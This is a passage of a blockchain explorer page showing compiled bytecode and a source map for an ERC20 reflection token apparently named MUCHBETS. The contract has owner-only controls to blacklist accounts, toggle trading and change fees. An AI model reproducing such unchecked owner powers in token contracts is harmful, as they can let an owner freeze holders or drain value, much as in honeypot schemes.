ff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906131bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906131bf565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee2611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906131bf565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600881526020017f4d55434842455453000000000000000000000000000000000000000000000000815250905090565b610fd7611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906131bf565b60405180910390fd5b8060188190555050565b611076611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906131bf565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611139611132611614565b84846117e7565b6001905092915050565b61114b611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf906131bf565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611294611614565b73ffffffffffffffffffffffffffffffffffffffff16148061130a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f2611614565b73ffffffffffffffffffffffffffffffffffffffff16145b61131357600080fd5b600061131e30610c50565b9050611329816121aa565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113bb611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f906131bf565b60405180910390fd5b8060178190555050565b61145a611614565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114de906131bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e906132f8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116839061338a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f39061341c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117da9190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184e906134ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be90613540565b60405180910390fd5b6000811161190a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611901906135d2565b60405180910390fd5b611912610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119805750611950610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d6b57601560149054906101000a900460ff16611a0f576119a1610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0590613664565b60405180910390fd5b5b601654811115611a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4b906136d0565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611af85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2e90613762565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611be45760175481611b9984610c50565b611ba39190613782565b10611be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bda9061384a565b60405180910390fd5b5b6000611bef30610c50565b9050600060185482101590506016548210611c0a5760165491505b808015611c22575060158054906101000a900460ff16155b8015611c7c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c945750601560169054906101000a900460ff165b8015611cea5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d405750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d6857611d4e826121aa565b60004790506000811115611d6657611d65476120d0565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e125750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611ec55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ec45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ed3576000905061205a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f7e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f9657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120415750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561205957600a54600c81905550600b54600d819055505b5b61206684848484612430565b50505050565b60008383111582906120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab9190612df3565b60405180910390fd5b50600083856120c3919061386a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612138573d6000803e3d6000fd5b5050565b6000600654821115612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217a90613910565b60405180910390fd5b600061218d61245d565b90506121a2818461248890919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121e1576121e0612b81565b5b60405190808252806020026020018201604052801561220f5781602001602082028036833780820191505090505b5090503081600081518110612227576122266131df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122c957600080fd5b505afa1580156122dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123019190613945565b81600181518110612315576123146131df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061237c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461161c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e0959493929190613a6b565b600060405180830381600087803b1580156123fa57600080fd5b505af115801561240e573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061243e5761243d6124d2565b5b612449848484612515565b80612457576124566126e0565b5b50505050565b600080600061246a6126f4565b91509150612481818361248890919063ffffffff16565b9250505090565b60006124ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612753565b905092915050565b6000600c541480156124e657506000600d54145b156124f057612513565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612527876127b6565b95509550955095509550955061258586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612666816128c6565b6126708483612983565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126cd9190612f4a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612728670de0b6b3a764000060065461248890919063ffffffff16565b82101561274657600654670de0b6b3a764000093509350505061274f565b81819350935050505b9091565b6000808311829061279a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127919190612df3565b60405180910390fd5b50600083856127a99190613af4565b9050809150509392505050565b60008060008060008060008060006127d38a600c54600d546129bd565b92509250925060006127e361245d565b905060008060006127f68e878787612a53565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061286083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061206c565b905092915050565b60008082846128779190613782565b9050838110156128bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b390613b71565b60405180910390fd5b8091505092915050565b60006128d061245d565b905060006128e78284612adc90919063ffffffff16565b905061293b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129988260065461281e90919063ffffffff16565b6006819055506129b38160075461286890919063ffffffff16565b6007819055505050565b6000806000806129e960646129db888a612adc90919063ffffffff16565b61248890919063ffffffff16565b90506000612a136064612a05888b612adc90919063ffffffff16565b61248890919063ffffffff16565b90506000612a3c82612a2e858c61281e90919063ffffffff16565b61281e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a6c8589612adc90919063ffffffff16565b90506000612a838689612adc90919063ffffffff16565b90506000612a9a8789612adc90919063ffffffff16565b90506000612ac382612ab5858761281e90919063ffffffff16565b61281e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aef5760009050612b51565b60008284612afd9190613b91565b9050828482612b0c9190613af4565b14612b4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4390613c5d565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bb982612b70565b810181811067ffffffffffffffff82111715612bd857612bd7612b81565b5b80604052505050565b6000612beb612b57565b9050612bf78282612bb0565b919050565b600067ffffffffffffffff821115612c1757612c16612b81565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c5882612c2d565b9050919050565b612c6881612c4d565b8114612c7357600080fd5b50565b600081359050612c8581612c5f565b92915050565b6000612c9e612c9984612bfc565b612be1565b90508083825260208201905060208402830185811115612cc157612cc0612c28565b5b835b81811015612cea5780612cd68882612c76565b845260208401935050602081019050612cc3565b5050509392505050565b600082601f830112612d0957612d08612b6b565b5b8135612d19848260208601612c8b565b91505092915050565b600060208284031215612d3857612d37612b61565b5b600082013567ffffffffffffffff811115612d5657612d55612b66565b5b612d6284828501612cf4565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612da5578082015181840152602081019050612d8a565b83811115612db4576000848401525b50505050565b6000612dc582612d6b565b612dcf8185612d76565b9350612ddf818560208601612d87565b612de881612b70565b840191505092915050565b60006020820190508181036000830152612e0d8184612dba565b905092915050565b6000819050919050565b612e2881612e15565b8114612e3357600080fd5b50565b600081359050612e4581612e1f565b92915050565b60008060408385031215612e6257612e61612b61565b5b6000612e7085828601612c76565b9250506020612e8185828601612e36565b9150509250929050565b60008115159050919050565b612ea081612e8b565b82525050565b6000602082019050612ebb6000830184612e97565b92915050565b6000819050919050565b6000612ee6612ee1612edc84612c2d565b612ec1565b612c2d565b9050919050565b6000612ef882612ecb565b9050919050565b6000612f0a82612eed565b9050919050565b612f1a81612eff565b82525050565b6000602082019050612f356000830184612f11565b92915050565b612f4481612e15565b82525050565b6000602082019050612f5f6000830184612f3b565b92915050565b600080600060608486031215612f7e57612f7d612b61565b5b6000612f8c86828701612c76565b9350506020612f9d86828701612c76565b9250506040612fae86828701612e36565b9150509250925092565b600060ff82169050919050565b612fce81612fb8565b82525050565b6000602082019050612fe96000830184612fc5565b92915050565b612ff881612c4d565b82525050565b60006020820190506130136000830184612fef565b92915050565b60006020828403121561302f5761302e612b61565b5b600061303d84828501612c76565b91505092915050565b61304f81612e8b565b811461305a57600080fd5b50565b60008135905061306c81613046565b92915050565b60006020828403121561308857613087612b61565b5b60006130968482850161305d565b91505092915050565b6000602082840312156130b5576130b4612b61565b5b60006130c384828501612e36565b91505092915050565b600080600080608085870312156130e6576130e5612b61565b5b60006130f487828801612e36565b945050602061310587828801612e36565b935050604061311687828801612e36565b925050606061312787828801612e36565b91505092959194509250565b6000806040838503121561314a57613149612b61565b5b600061315885828601612c76565b925050602061316985828601612c76565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131a9602083612d76565b91506131b482613173565b602082019050919050565b600060208201905081810360008301526131d88161319c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061324882612e15565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561327b5761327a61320e565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132e2602683612d76565b91506132ed82613286565b604082019050919050565b60006020820190508181036000830152613311816132d5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613374602483612d76565b915061337f82613318565b604082019050919050565b600060208201905081810360008301526133a381613367565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613406602283612d76565b9150613411826133aa565b604082019050919050565b60006020820190508181036000830152613435816133f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613498602583612d76565b91506134a38261343c565b604082019050919050565b600060208201905081810360008301526134c78161348b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061352a602383612d76565b9150613535826134ce565b604082019050919050565b600060208201905081810360008301526135598161351d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135bc602983612d76565b91506135c782613560565b604082019050919050565b600060208201905081810360008301526135eb816135af565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061364e603f83612d76565b9150613659826135f2565b604082019050919050565b6000602082019050818103600083015261367d81613641565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006136ba601c83612d76565b91506136c582613684565b602082019050919050565b600060208201905081810360008301526136e9816136ad565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b600061374c602383612d76565b9150613757826136f0565b604082019050919050565b6000602082019050818103600083015261377b8161373f565b9050919050565b600061378d82612e15565b915061379883612e15565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137cd576137cc61320e565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613834602383612d76565b915061383f826137d8565b604082019050919050565b6000602082019050818103600083015261386381613827565b9050919050565b600061387582612e15565b915061388083612e15565b9250828210156138935761389261320e565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138fa602a83612d76565b91506139058261389e565b604082019050919050565b60006020820190508181036000830152613929816138ed565b9050919050565b60008151905061393f81612c5f565b92915050565b60006020828403121561395b5761395a612b61565b5b600061396984828501613930565b91505092915050565b6000819050919050565b600061399761399261398d84613972565b612ec1565b612e15565b9050919050565b6139a78161397c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139e281612c4d565b82525050565b60006139f483836139d9565b60208301905092915050565b6000602082019050919050565b6000613a18826139ad565b613a2281856139b8565b9350613a2d836139c9565b8060005b83811015613a5e578151613a4588826139e8565b9750613a5083613a00565b925050600181019050613a31565b5085935050505092915050565b600060a082019050613a806000830188612f3b565b613a8d602083018761399e565b8181036040830152613a9f8186613a0d565b9050613aae6060830185612fef565b613abb6080830184612f3b565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613aff82612e15565b9150613b0a83612e15565b925082613b1a57613b19613ac5565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b5b601b83612d76565b9150613b6682613b25565b602082019050919050565b60006020820190508181036000830152613b8a81613b4e565b9050919050565b6000613b9c82612e15565b9150613ba783612e15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613be057613bdf61320e565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c47602183612d76565b9150613c5282613beb565b604082019050919050565b60006020820190508181036000830152613c7681613c3a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab99047d99d5af4dde4f4de791247b2deb93ab1f092515efbae9e901aba4e5cc64736f6c63430008090033
Deployed Bytecode Sourcemap
4438:13372:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13122:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6950:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7875:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5785:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7227:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8076:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6094:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7136:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5833:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13402:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17434:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12879:235;;;;;;;;;;;;;:::i;:::-;;7330:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1925:148;;;;;;;;;;;;;:::i;:::-;;17574:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5983:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5527:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1711:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12526:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6038:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7041:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17243:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16900:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7476:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13299:95;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5489:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12635:236;;;;;;;;;;;;;:::i;:::-;;7683:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17690:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2081:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13122:169;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13198:9:::1;13193:91;13217:5;:12;13213:1;:16;13193:91;;;13268:4;13251;:14;13256:5;13262:1;13256:8;;;;;;;;:::i;:::-;;;;;;;;13251:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;13231:3;;;;;:::i;:::-;;;;13193:91;;;;13122:169:::0;:::o;6950:83::-;6987:13;7020:5;;;;;;;;;;;;;;;;;7013:12;;6950:83;:::o;7875:193::-;7977:4;7999:39;8008:12;:10;:12::i;:::-;8022:7;8031:6;7999:8;:39::i;:::-;8056:4;8049:11;;7875:193;;;;:::o;5785:41::-;;;;;;;;;;;;;:::o;7227:95::-;7280:7;4989:18;7300:14;;7227:95;:::o;8076:446::-;8208:4;8225:36;8235:6;8243:9;8254:6;8225:9;:36::i;:::-;8272:220;8295:6;8316:12;:10;:12::i;:::-;8343:138;8399:6;8343:138;;;;;;;;;;;;;;;;;:11;:19;8355:6;8343:19;;;;;;;;;;;;;;;:33;8363:12;:10;:12::i;:::-;8343:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8272:8;:220::i;:::-;8510:4;8503:11;;8076:446;;;;;:::o;6094:54::-;;;;:::o;7136:83::-;7177:5;4663:1;7195:16;;7136:83;:::o;5833:28::-;;;;;;;;;;;;;:::o;13402:92::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13481:5:::1;13466:4;:12;13471:6;13466:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;13402:92:::0;:::o;17434:101::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17515:12:::1;17501:11;;:26;;;;;;;;;;;;;;;;;;17434:101:::0;:::o;12879:235::-;12945:19;;;;;;;;;;;12929:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12984:17;;;;;;;;;;;12968:33;;:12;:10;:12::i;:::-;:33;;;12929:72;12921:81;;;;;;13013:26;13042:21;13013:50;;13074:32;13087:18;13074:12;:32::i;:::-;12910:204;12879:235::o;7330:138::-;7396:7;7423:37;7443:7;:16;7451:7;7443:16;;;;;;;;;;;;;;;;7423:19;:37::i;:::-;7416:44;;7330:138;;;:::o;1925:148::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2032:1:::1;1995:40;;2016:6;::::0;::::1;;;;;;;;1995:40;;;;;;;;;;;;2063:1;2046:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1925:148::o:0;17574:108::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17663:11:::1;17648:12;:26;;;;17574:108:::0;:::o;5983:48::-;;;;:::o;5527:43::-;;;;;;;;;;;;;;;;;:::o;1711:79::-;1749:7;1776:6;;;;;;;;;;;1769:13;;1711:79;:::o;12526:101::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12607:12:::1;12593:11;;:26;;;;;;;;;;;;;;;;;;12526:101:::0;:::o;6038:49::-;;;;:::o;7041:87::-;7080:13;7113:7;;;;;;;;;;;;;;;;;7106:14;;7041:87;:::o;17243:139::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17356:18:::1;17334:19;:40;;;;17243:139:::0;:::o;16900:291::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17051:13:::1;17034:14;:30;;;;17093:14;17075:15;:32;;;;17133:11;17118:12;:26;;;;17171:12;17155:13;:28;;;;16900:291:::0;;;;:::o;7476:199::-;7581:4;7603:42;7613:12;:10;:12::i;:::-;7627:9;7638:6;7603:9;:42::i;:::-;7663:4;7656:11;;7476:199;;;;:::o;13299:95::-;1848:12;:10;:12::i;:::-;1838:22;;:6;;;;;;;;;;:22;;;1830:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13382:4:::1;13367;:12;13372:6;13367:12;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;